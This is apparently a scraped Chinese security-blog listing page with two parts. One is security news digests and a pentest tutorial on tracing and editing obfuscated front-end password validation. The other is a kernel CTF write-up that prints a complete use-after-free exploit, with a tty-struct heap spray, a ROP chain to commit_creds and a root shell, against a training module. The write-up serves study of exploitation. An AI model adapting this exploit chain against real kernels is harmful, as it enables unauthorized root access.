XWorm 机制配置的机会。该样本最初是通过文件托管服务 MediaFire 分发的。该恶意软件打包在 RAR 存档中并受密码保护。执行后,Suricata 规则立即检测到该威胁,并将其识别为 XWorm。 9、Atos Unify安全性产品存在严重远程代码执行漏洞 https://www.securityweek.com/atos-unify-vulnerabilities-could-allow-hackers-to-backdoor-systems Atos Unify 产品中发现的两个漏洞可能允许恶意行为者造成破坏,甚至对目标系统建立后门访问。研究人员在统一通信和协作解决方案中发现了这些漏洞。SEC Consult 是一家总部位于奥地利的网络安全咨询公司,隶属于 Atos Group 的 Eviden 业务。这些漏洞影响为统一通信提供安全性的 Atos Unify 会话边界控制器 (SBC)、用于远程办公室的 Unify OpenScape Br 10、Omron公司修补被工控恶意软件利用过的PLC和工程软件漏洞 https://www.securityweek.com/omron-patches-plc-engineering-software-flaws-discovered-during-ics-malware-analysis/ 日本电子公司Omron最近修补了工业网络安全公司 Dragos 在分析复杂恶意软件时发现的可编程逻辑控制器 (PLC) 和工程软件漏洞。去年,美国网络安全机构 CISA 向组织通报了影响 Omron NJ 和 NX 系列控制器的三个漏洞。这些漏洞之一是 CVE-2022-34151 的关键硬编码凭据问题,可用于访问欧姆龙 PLC。Pipedream 被认为是一个国家支 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
渗透测试中的前端调试(一)
前言 前端调试是安全测试的重要组成部分。它能够帮助我们掌握网页的运行原理,包括js脚本的逻辑、加解密的方法、网络请求的参数等。利用这些信息,我们就可以更准确地发现网站的漏洞,制定出有效的攻击策略。前端知识对于安全来说,不但可以提高测试效率,还可以拓宽测试思路。 以下的一个案例是我在测试一个后台管理系统时遇到的问题,本来在登录页面通过js已经发现了接口和字段,但是请求的时候发现不是未授权漏洞,但是字段只有新密码和用户名,那么这个大概率是存在漏洞的。 正文 本次为授权测试,客户有提供账号密码。在后台的修改密码处: JavaScript分析 当我输入正确密码时,又消失,说明存在校验。要么后端校验,要么前端校验。通过前面登录前的js内容,大致可以猜到这个就是前端校验。 我使用burp进行抓取数据包,发现没有请求通过: 说明大概率前端校验(也有可能是抓不到,但是概率很小)接下来就是要分析前端js了。这边我主要分析的是文本框的"与初始密码不一致"这个提示信息的判断逻辑: 我这边分析主要有两种方法: ①事件监听器: 通过事件监听器去找对应的js事件,通过正向去查看js,跟着对应的函数一层一层进行代码审计: 但是通过正向找过去,发现是经过多层调用的。且所有代码经过高度压缩混淆。 这时候还可以通过其他的按钮去找,大概率处理逻辑的js都是在一起的。当然只是可能。 找到提交按钮。 点击是会报错的。查看下这个提交的逻辑: 找到submit,去查看调用的js代码: 很不幸,还是这个混淆过的看不懂的js。按住ctrl还进不去函数,不知道为什么。GG。 ②直接搜对应的关键字,去js里面翻 这个方法应该是大家比较常用的方法了。直接搜索关键字,比如加解密就直接搜索encrypt,一般都有效。 比如这边,可以直接搜索报错信息:与初始密码不一致: 找过去都是0。这时候就应该考虑,他是否有可能保存在css里面,或者使用urlencode或者Unicode编码。 (PS:因为没有对于后端请求,我们就不做从后端响应的情况假设。不然正常的字符串在前端找不到的情况下,有可能是后端返回的。) 先把这些字符转为Unicode编码查看。作为字符去查询的时候,建议不要全部字符去查询,因为有时候他可能会把对应的字符串分开放,或者做拼接。使用可以直接搜索比如不容易重复的几个关键字。比如这边的"一致"。 对于搜索,可以把js和html页面都代理从burp出去,然后使用burp自带的搜索,可能会比较方便。我这边就是采用这种方法进行查询: 很幸运,找到了! +-----------------------------------------------------------------------+| function At(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._uU(1, || "\u4e0e\u521d\u59cb\u5bc6\u7801\u4e0d\u4e00\u81f4"), || || t.qZA()) || || } || || function bt(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._ 可以看到js高度混淆。 对于审计很难。这边我们只需要查看是谁调用了这个函数,网上找这个逻辑即可。 有几种方法可以找到,这边借用new bing的回答: 您好,这是Bing。 根据我的搜索结果,有几种方法可以在Chrome中实现这个功能。我将为您介绍其中的一些方法: 1、使用Chrome开发者工具的搜索功能¹。您可以按下`ctrl + shift +F`(Windows)或`cmd + optn +F`(macOS)打开一个跨所有脚本的搜索窗口。然后,您可以勾选"正则表达式"复选框,并搜索函数的名称和定义方式。例如,如果您想要查找名为`foo`的函数,您可以搜索`foo\s*=\s*function`(表示`foo=function`之间有任意数量的空格)或者`function\s*foo\s*\(`(表示`functionfoo(`之间有任意数量的空格)。搜索结果将显示函数定义所在的脚本和位置,您可以点击它们跳转到相应的代码行。 2、使用Chrome开发者工具的调用栈功能。如果您想要查找一个函数是从哪里被调用的,您可以在函数体内部添加一个断点,然后运行代码。当代码执行到断点处时,开发者工具会暂停,并显示当前的调用栈。您可以在调用栈面板中查看函数被调用的顺序和位置,以及每个函数的参数和局部变量。 3、使用JavaScript代码获取函数的调用者³。如果您想要在代码中获取一个函数是从哪里被调用的,您可以使用`arguments.callee.caller`属性来访问当前函数的调用者。这个属性会返回一个函数对象,您可以使用它的`name`属性来获取函数的名称,或者使用它的`toString()`方法来获取函数的源代码。如果当前函数是从全局作用域被调用的,那么这个属性会返回`null`,您可以使用条件判断来处理这种情况。 我这边采用了第二点,可以在这边看到栈的调用。 成功找到密码判断点: 接下来就可以看你想改什么就改什么了。 JavaScript本地修改调试 找到对应函数后,接下来就是修改js里面的内容了。如果想修改js,在前端调试,需要在替换里面添加一个文件夹,然后在js编辑界面保存即可。保存成功会有紫色的小点点: 在js里面添加一个console.log,测试调试。触发该函数后,成功打印: 后续如果想通过前端绕过,可以同样去调试提交按钮。 结尾 可能有些人会说,这么麻烦去绕过做什么?本文只是讲解一些调试思路,和本次的漏洞没有太大关系,只是作为案例讲解。我本身不是做前端出身,主做分享使用。很多方面的知识我也是自己有接触到才去学习,可能对于一些大佬来说,这些都是很基础,勿喷。给自己挖个坑,如果本文反响不错的话,后续给大家分享一些遇到js前端加解密的web站点,该怎么去进行调试和测试。
网络安全日报 2023年09月22日
1、攻击者利用商业软件Remcos和GuLoader进行网络攻击 https://research.checkpoint.com/2023/unveiling-the-shadows-the-dark-alliance-between-guloader-and-remcos/ 标榜合法的软件已成为网络犯罪分子的首选武器。此行为的两个著名示例是 Remcos RAT(远程管理工具)和 GuLoader(也称为 CloudEyE Protector)。这些程序被定位为合法工具,经常被用于攻击,并在最流行的恶意软件排名中占据前列。虽然卖家声称这些工具只能合法使用,但更深层次的事实是,他们的主要客户正是网络犯罪分子。由于 Remcos 很容易被防病毒解决方案检测到 2、攻击者针对Celsius加密货币破产案的索赔人发起钓鱼攻击 https://twitter.com/search?q=%22case-stretto.com 诈骗者冒充加密货币贷款机构 Celsius 的破产索赔代理人进行网络钓鱼攻击,试图从加密货币钱包中窃取资金。2022 年 7 月,加密货币贷款机构 Celsius 申请破产并冻结用户账户提款。此后,客户向该公司提出索赔,希望收回部分资金。在过去的几天里,用户报告说收到了冒充来自 Celsius 破产程序索赔代理人 Stretto 的网络钓鱼电子邮件。如果您收到一封声称与摄氏度有关的电子邮件,请忽略它,并在合法的网站上检查该案件的最新更新 。不幸的是,如果您已经访问过这些网络钓鱼网站之一,并且在连 3、研究人员披露基于Rust恶意软件针对阿塞拜疆的攻击活动 https://www.deepinstinct.com/blog/operation-rusty-flag-a-malicious-campaign-against-azerbaijanian-targets 研究人员正在以 Operation Rusty Flag 的名义追踪此次行动。位于阿塞拜疆的目标已被挑选为新活动的一部分,该活动旨在在受感染的系统上部署基于 Rust 的恶意软件。它尚未与任何已知的攻击者或组织相关联。该操作至少有两个不同的初始访问向量。这次行动中使用的诱饵之一是 Storm-0978 组织使用的一份修改过的文件。这可能是故意的‘假旗’。这一行动看起来像是一次故意的虚 4、研究人员披露FIN12勒索软件组织攻击活动 https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf 2023 年 3 月 9 日星期四,研究人员发布布雷斯特大学医院中心 (CHU) 的一台服务器遭到入侵报告。卫生机构的响应能力使得能够快速将信息系统与互联网隔离,并阻碍攻击者作案手法(MOA)的进展,从而防止数据外泄和信息系统的加密“信息”。研究人员发现了与在法国周边观察到并在公开来源中报告的一系列事件的联系,从而将这次攻击与 FIN12 网络犯罪作案手法联系起来。FIN12 的运营商对法国领土上发生的大量勒索软件攻击负有责任。 2020 年至 2023 年间,他们会先使 5、GitLab提示用户安装针对关键管道漏洞的安全更新 https://about.gitlab.com/releases/2023/09/18/security-release-gitlab-16-3-4-released/ GitLab 发布了安全更新,以解决一个严重严重的漏洞,该漏洞允许攻击者通过计划的安全扫描策略以其他用户的身份运行管道。GitLab 是一个流行的基于网络的开源软件项目管理和工作跟踪平台,提供免费和商业版本。该漏洞被指定为 CVE-2023-5009 (CVSS v3.1 评分:9.6),影响 GitLab 社区版 (CE) 和企业版 (EE) 版本 13.12 至 16.2.7 以及版本 16.3 至 16.3.4。在用 6、LockBit 要求将受害公司收入的 3% 作为赎金 https://cybersecuritynews.com/lockbit-demands-3-revenue-ransom/ LockBit内部拟要求对受害公司收取其收入的3%作为赎金,以统一其附属组织不一致的赎金标准。 7、OpenAI 宣布推出“红队网络”,旨在提高其 AI 模型安全性 https://www.ithome.com/0/720/350.htm 美国人工智能研究公司 OpenAI 宣布推出“红队网络”(Red Teaming Network),并邀请各领域专家加入其“红队网络”,以提高其人工智能(AI)模型的安全性。 8、Apple 发布紧急更新以解决 3 个新的被积极利用的零日漏洞 https://securityaffairs.com/151174/hacking/apple-zero-days.html Apple 发布了紧急安全更新,以解决三个新的零日漏洞(CVE-2023-41993、CVE-2023-41991、CVE-2023-41992),这些漏洞已在野外攻击中被利用。这三个缺陷是由多伦多大学蒙克学院公民实验室的 Bill Marczak 和谷歌威胁分析小组的 Maddie Stone 发现的。 9、乌克兰黑客是Free Download Manager供应链攻击的幕后黑手 https://securityaffairs.com/151157/hacking/free-download-manager-supply-chain-attack-2.html 最近发现的免费下载管理器 (FDM) 供应链攻击始于 2020 年,该攻击分发 Linux 恶意软件。现在,免费下载管理器 (FDM) 的维护者分享了他们的调查结果。他们发现乌克兰黑客组织破坏了其网站上的特定网页,然后用它来传播恶意软件。 10、新的“Sandman”APT 组织利用罕见的 LuaJIT 恶意软件攻击电信公司 https://www.securityweek.com/new-sandman-apt-group-hitting-telcos-with-rare-luajit-malware/ 根据 SentinelLabs 和 QGroup GmbH 的联合调查,发现一个新的神秘 APT 组织以欧洲和亚洲的电信服务提供商为目标,这似乎是网络间谍活动的一部分。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过复用TTY结构体实现提权利用
前言 UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。 LK01-3 结合题目来看UAF漏洞 项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3 open模块 在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中 #define BUFFER_SIZE 0x400 char *g_buf = NULL; static int module_open(struct inode *inode, struct file *file) {  printk(KERN_INFO "module_open called\n");  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);  if (!g_buf) {    printk(KERN_INFO "kmalloc failed");    return -ENOMEM; }  return 0; } read模块 在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中 static ssize_t module_read(struct file *file,                           char __user *buf, size_t count,                           loff_t *f_pos) {  printk(KERN_INFO "module_read called\n");  if (count > BUFFER_SIZE) {    printk(KERN_INFO "invalid buffer size\n");    return -EINVAL; }  if (copy_to_user(buf, g_buf, count)) {    printk(KERN_INFO "copy_to_user failed\n");    return -EINVAL; }  return count; } write模块 在写模块中,会从用户空间拷贝400字节数据到内核堆空间中 static ssize_t module_write(struct file *file,                            const char __user *buf, size_t count,                            loff_t *f_pos) {  printk(KERN_INFO "module_write called\n");  if (count > BUFFER_SIZE) {    printk(KERN_INFO "invalid buffer size\n");    return -EINVAL; }  if (copy_from_user(g_buf, buf, count)) {    printk(KERN_INFO "copy_from_user failed\n");    return -EINVAL; }  return count; } close模块 close模块会释放g_buf指向的堆块空间 static int module_close(struct inode *inode, struct file *file) {  printk(KERN_INFO "module_close called\n");  kfree(g_buf);  return 0; } 漏洞分析 在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。 当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。 ... int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } ... 这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。 在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。 run.sh #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz \    -net nic,model=virtio \    -net user \    -s exp #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> int spray[100]; //0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; //0xffffffff8114078a: pop rdi; ret; //0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; //0xffffffff810eb7e4: pop rcx; ret; //0xffffffff81072560 T prepare_kernel_cred //0xffffffff810723c0 T commit_creds //0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode #define push_rdx_pop_rsp_offset 0x14fbe8 #define pop_rdi_ret_offset 0x14078a #define pop_rcx_ret_offset 0xeb7e4 #define prepare_kernel_cred_offset 0x72560 #define commit_creds_offset 0x723c0 #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10 #define mov_rdi_rax_offset 0x638e9b unsigned long user_cs, user_sp, user_ss, user_rflags; void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n", user_rflags); printf("[#] backdoor: 0x%lx \n\n", backdoor); } int main() { save_user_land(); int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } char buf[0x400]; read(fd2, buf, 0x400); unsigned long *p = (unsigned long *)&buf; //for (unsigned int i = 0; i < 0x80; i++) // printf("[%x]:addr:0x%lx\n",i,p[i]); unsigned long kernel_addr = p[3]; unsigned long heap_addr = p[7]; printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr); unsigned long kernel_base = kernel_addr - 0xc39c60; unsigned long g_buf = heap_addr - 0x38; printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf); *(unsigned long *)&buf[0x18] = g_buf; p[0xc] = push_rdx_pop_rsp_offset + kernel_base; //for (unsigned long i = 0xd; i < 0x80; i++) // p[i] = i; p[0x21] = pop_rdi_ret_offset + kernel_base; p[0x22] = 0; p[0x23] = prepare_kernel_cred_offset + kernel_base; p[0x24] = pop_rcx_ret_offset + kernel_base; p[0x25] = 0; p[0x26] = mov_rdi_rax_offset + kernel_base; p[0x27] = commit_creds_offset + kernel_base; p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base; p[0x29] = 0; p[0x2a] = 0; p[0x2b] = (unsigned long)backdoor;    p[0x2c] = user_cs;    p[0x2d] = user_rflags;    p[0x2e] = user_sp;    p[0x2f] = user_ss;   write(fd2, buf, 0x400); for (int i = 0; i < 50; i++) ioctl(spray[i], 0, g_buf+0x100); }
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页